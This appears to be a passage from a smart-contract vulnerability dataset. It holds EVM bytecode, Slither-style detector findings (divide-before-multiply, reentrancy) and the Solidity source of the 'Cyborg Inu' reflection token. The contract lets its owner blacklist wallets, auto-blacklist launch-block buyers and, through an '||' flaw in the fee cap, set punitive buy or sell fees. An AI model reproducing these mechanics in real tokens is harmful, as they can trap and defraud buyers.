fffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546005541115610c7f57600061095f336117f0565b90506109b6600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004015482611b8490919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b8101908080519060200190929190505050610b39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180611eb9602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a180600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550505b565b600080610d59600754610d4b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610d3d600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b9050600754610e1f600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154610e11600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b81610e2657fe5b0681019050600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401548101915050919050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f1957600080fd5b505afa158015610f2d573d6000803e3d6000fd5b505050506040513d6020811015610f4357600080fd5b81019080805190602001909291905050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050506040513d60208110156110b357600080fd5b8101908080519060200190929190505050611119576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180611f346030913960400191505060405180910390fd5b61112281611a38565b50565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561120857600080fd5b505af115801561121c573d6000803e3d6000fd5b505050506040513d602081101561123257600080fd5b8101908080519060200190929190505050611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e815260200180611f06602e913960400191505060405180910390fd5b6000809050600060025411156112db576112d8600a6112ca6003546112bc866116cc565b61172090919063ffffffff16565b6117a690919063ffffffff16565b90505b600060025411156112f0576112ef81611a38565b5b60006112fb336117f0565b905080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401600082825401925050819055506113b4600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546113a684866119ee90919063ffffffff16565b611b8490919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600554600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550600854600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506114fa6114e983856119ee90919063ffffffff16565b600254611b8490919063ffffffff16565b6002819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c3361153584866119ee90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a1505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115e357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b6000806116e3606484611c0c90919063ffffffff16565b905060006117146002600a0a60640261170660648561172090919063ffffffff16565b6117a690919063ffffffff16565b90508092505050919050565b60008083141561173357600090506117a0565b600082840290508284828161174457fe5b041461179b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ee56021913960400191505060405180910390fd5b809150505b92915050565b60006117e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611c27565b905092915050565b6000806118c86007546118ba600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118ac600a60006001600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b6117a690919063ffffffff16565b905060075461198e600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611980600a60006001600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154038152602001908152602001600020546005546119ee90919063ffffffff16565b61172090919063ffffffff16565b8161199557fe5b06600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555080915050919050565b6000611a3083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ced565b905092915050565b6000611a63600654611a556007548561172090919063ffffffff16565b611b8490919063ffffffff16565b90506000611a7c600254836117a690919063ffffffff16565b9050611a9360025483611dad90919063ffffffff16565b600681905550611aae81600554611b8490919063ffffffff16565b600581905550611adf81600a6000600160085403815260200190815260200160002054611b8490919063ffffffff16565b600a60006008548152602001908152602001600020819055507fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b66008548433604051808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1600860008154809291906001019190505550505050565b600080828401905083811015611c02576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000818260018486010381611c1d57fe5b0402905092915050565b60008083118290611cd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c98578082015181840152602081019050611c7d565b50505050905090810190601f168015611cc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611cdf57fe5b049050809150509392505050565b6000838311158290611d9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d5f578082015181840152602081019050611d44565b50505050905090810190601f168015611d8c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000611def83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250611df7565b905092915050565b6000808314158290611ea4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e69578082015181840152602081019050611e4e565b50505050905090810190601f168015611e965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50828481611eae57fe5b069050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a2646970667358221220ba4b3e7c3f5eab62a325457e5020b54cc6ec6dd364ce4cf49a522e8c53b7065764736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,046
0xa20f5d44d27a4b32e7c7492feb5cc1203735ce65
// Verified using https://dapp.tools //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Grid is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cyborg Inu";// string private constant _symbol = "CYBORG";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 1;// uint256 private _taxFeeOnBuy = 9;// //Sell Fee uint256 private _redisFeeOnSell = 2;// uint256 private _taxFeeOnSell = 22;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xcE8Bd7747B1a557365A8B51C623774531202F04c);// address payable private _marketingAddress = payable(0xcE8Bd7747B1a557365A8B51C623774531202F04c);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; // uint256 public _maxWalletSize = 20000000000 * 10**9; // uint256 public _swapTokensAtAmount = 1000000000* 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); if (!_isExcludedFromFee[_msgSender()]) _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function EnableTrading() public onlyOwner { tradingOpen = true; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell; uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy; require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%"); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%"); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd146102985780631d97b7cd146102c357806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131a7565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b604051610227919061366d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613107565b610857565b6040516102649190613637565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f9190613652565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b6040516102ba91906138af565b60405180910390f35b3480156102cf57600080fd5b506102d86108ac565b005b3480156102e657600080fd5b5061030160048036038101906102fc91906130b4565b610965565b60405161030e9190613637565b60405180910390f35b34801561032357600080fd5b5061032c610a97565b60405161033991906138af565b60405180910390f35b34801561034e57600080fd5b50610357610a9d565b6040516103649190613924565b60405180910390f35b34801561037957600080fd5b50610382610aa6565b60405161038f919061361c565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061301a565b610acc565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906131f0565b610bbc565b005b3480156103f657600080fd5b506103ff610c6d565b005b34801561040d57600080fd5b506104286004803603810190610423919061301a565b610d3e565b60405161043591906138af565b60405180910390f35b34801561044a57600080fd5b50610453610d8f565b005b34801561046157600080fd5b5061047c6004803603810190610477919061321d565b610ee2565b005b34801561048a57600080fd5b50610493610fda565b6040516104a091906138af565b60405180910390f35b3480156104b557600080fd5b506104be610fe0565b6040516104cb919061361c565b60405180910390f35b3480156104e057600080fd5b506104e9611009565b6040516104f691906138af565b60405180910390f35b34801561050b57600080fd5b5061051461100f565b604051610521919061366d565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c919061321d565b61104c565b005b34801561055f57600080fd5b5061057a6004803603810190610575919061324a565b6110eb565b005b34801561058857600080fd5b506105a3600480360381019061059e9190613107565b611214565b6040516105b09190613637565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db919061301a565b611232565b6040516105ed9190613637565b60405180910390f35b34801561060257600080fd5b5061060b611252565b005b34801561061957600080fd5b50610634600480360381019061062f9190613147565b61132b565b005b34801561064257600080fd5b5061064b611465565b60405161065891906138af565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613074565b61146b565b60405161069591906138af565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061321d565b6114f2565b005b3480156106d357600080fd5b506106ee60048036038101906106e9919061301a565b6115ea565b005b6106f86117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137cf565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613ca2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613bfb565b915050610788565b5050565b60606040518060400160405280600a81526020017f4379626f726720496e7500000000000000000000000000000000000000000000815250905090565b600061086b6108646117ac565b84846117b4565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6108b46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610938906137cf565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b600061097284848461197f565b6005600061097e6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8c57610a8b846109d66117ac565b610a868560405180606001604052806028815260200161421760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3c6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123539092919063ffffffff16565b6117b4565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b58906137cf565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c48906137cf565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cae6117ac565b73ffffffffffffffffffffffffffffffffffffffff161480610d245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0c6117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2d57600080fd5b6000479050610d3b816123b7565b50565b6000610d88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b2565b9050919050565b610d976117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eea6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16